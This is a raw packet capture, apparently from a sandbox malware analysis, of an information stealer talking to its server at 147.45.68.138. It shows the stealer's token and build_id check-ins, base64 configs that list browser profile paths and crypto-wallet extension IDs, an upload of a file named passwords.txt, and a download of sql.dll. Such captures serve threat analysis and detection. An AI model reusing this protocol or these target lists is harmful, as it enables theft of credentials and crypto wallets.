64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="mode"1------JJJEGHDAECBFHJKEGIJK--
Aug 30, 2024 06:17:39.448359013 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Aug 30, 2024 06:17:39.448424101 CEST	486	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Aug 30, 2024 06:17:39.536766052 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Aug 30, 2024 06:17:39.580631018 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFB Host: 147.45.68.138 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="mode"2------AAFHIIDHJEBFBFIDAKFB--
Aug 30, 2024 06:17:40.123816013 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Aug 30, 2024 06:17:40.123857975 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Aug 30, 2024 06:17:40.123869896 CEST	128	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGN
Aug 30, 2024 06:17:40.129988909 CEST	1236	IN	Data Raw: 69 61 32 46 72 59 33 42 73 61 32 70 75 62 32 78 6e 59 6d 74 6b 5a 32 70 70 61 32 70 6c 5a 47 35 74 66 44 46 38 4d 48 77 77 66 46 52 79 64 58 4e 30 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 56 6e 61 6d 6c 6b 61 6d 4a 77 5a 32 78 70 59 32 68 6b 59 Data Ascii: ia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfEV4b2R1cyBXZWIzIFdhbGxldHwxfGFob2xwZmRpYWxqZ2pmaG9taWhramJtZ2ppZGxjZG5vfDF8MHwwfEJyYWF2b3N8MXxqbmxnYW1lY2JwbWJhampmaG1tbWxoZWprZW
Aug 30, 2024 06:17:40.130003929 CEST	224	IN	Data Raw: 73 62 32 6c 71 59 6e 42 76 62 47 56 70 59 57 31 68 66 44 46 38 4d 48 77 77 66 45 35 70 5a 32 68 30 62 48 6c 38 4d 58 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 Data Ascii: sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam9ncG9pZGVqZGVtZ29vY2hwbmttZGpwb2Nna2hhfDF8MHwwfENvaW5odWJ8MXxqZ2FhaW1hamlwYnBkb2dwZGdsaGFwaGxkYWtpa2dlZnwxfDB
Aug 30, 2024 06:17:40.130063057 CEST	1140	IN	Data Raw: 38 4d 48 78 4d 5a 57 46 77 49 45 4e 76 63 32 31 76 63 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 59 32 5a 6a 5a 6d 78 73 5a 6d 35 6b 62 47 39 74 5a 47 68 69 5a 57 68 71 61 6d 4e 76 61 57 31 69 5a 32 39 6d 5a 47 35 6a 5a 33 77 78 66 44 42 38 4d Data Ascii: 8MHxMZWFwIENvc21vcyBXYWxsZXR8MXxmY2ZjZmxsZm5kbG9tZGhiZWhqamNvaW1iZ29mZG5jZ3wxfDB8MHxNdWx0aXZlcnNYIERlRmkgV2FsbGV0fDF8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fDF8a3BwZmRpaXBwaGZjY2VtY2lnbmhpZnBqa2FwZmJpaGR8MXwwfD
Aug 30, 2024 06:17:40.212322950 CEST	648	IN	Data Raw: 69 62 47 74 72 5a 57 5a 68 59 32 5a 75 62 57 74 68 61 6d 4e 71 62 57 46 69 61 57 70 6f 59 32 78 6e 66 44 46 38 4d 48 77 77 66 45 4a 68 59 32 74 77 59 57 4e 72 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 46 6d 62 47 74 74 5a 6d 68 6c 59 6d 56 6b 59 Data Ascii: ibGtrZWZhY2ZubWthamNqbWFiaWpoY2xnfDF8MHwwfEJhY2twYWNrIFdhbGxldHwxfGFmbGttZmhlYmVkYmppb2lwZ2xnY2JjbW5icGdsaW9mfDF8MHwwfFRvbmtlZXBlciBXYWxsZXR8MXxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8MXxwZW5qbGRkamtqZ3Bua2xsYm
Aug 30, 2024 06:17:40.215672016 CEST	512	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAE Host: 147.45.68.138 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="mode"21------BKFHCGIDBAAFHIDHDAAE--
Aug 30, 2024 06:17:40.760926008 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Aug 30, 2024 06:17:41.512530088 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJ Host: 147.45.68.138 Content-Length: 7753 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:41.512557030 CEST	7753	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 Data Ascii: ------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------AEGHJEGIEBFIJJ
Aug 30, 2024 06:17:42.285034895 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:17:42.312802076 CEST	95	OUT	GET /sql.dll HTTP/1.1 Host: 147.45.68.138 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:42.498543978 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:42 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Aug 30, 2024 06:17:42.498558998 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 8b 17 1c 00 e9 a0 11 1d 00 e9 bf ab 1b 00 e9 a2 44 1c 00 e9 3b 27 1d 00 e9 cc 5a 1d 00 e9 95 a9 1c 00 e9 Data Ascii: D;'ZRxs\tNg4^0Gb&OlpjBT%{rf:%oR}r
Aug 30, 2024 06:17:44.663938999 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBA Host: 147.45.68.138 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:45.402955055 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:17:45.762016058 CEST	181	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK Host: 147.45.68.138 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:46.497203112 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:17:46.839421034 CEST	617	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 147.45.68.138 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 [TRUNCATED] Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"56f92c6c9c9a3ad0c91cbbe5d33d1d91------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="build_id"1f3c236c672ff2ffe017b396f834c66e------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="file_data"------JJJEGHDAECBFHJKEGIJK--
Aug 30, 2024 06:17:47.557001114 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Aug 30, 2024 06:17:47.721282959 CEST	617	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK Host: 147.45.68.138 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 66 39 32 63 36 63 39 63 39 61 33 61 64 30 63 39 31 63 62 62 65 35 64 33 33 64 31 64 39 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 66 33 63 32 33 36 63 36 37 32 66 66 32 66 66 65 30 31 37 62 33 39 36 66 38 33 34 63 36 36 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 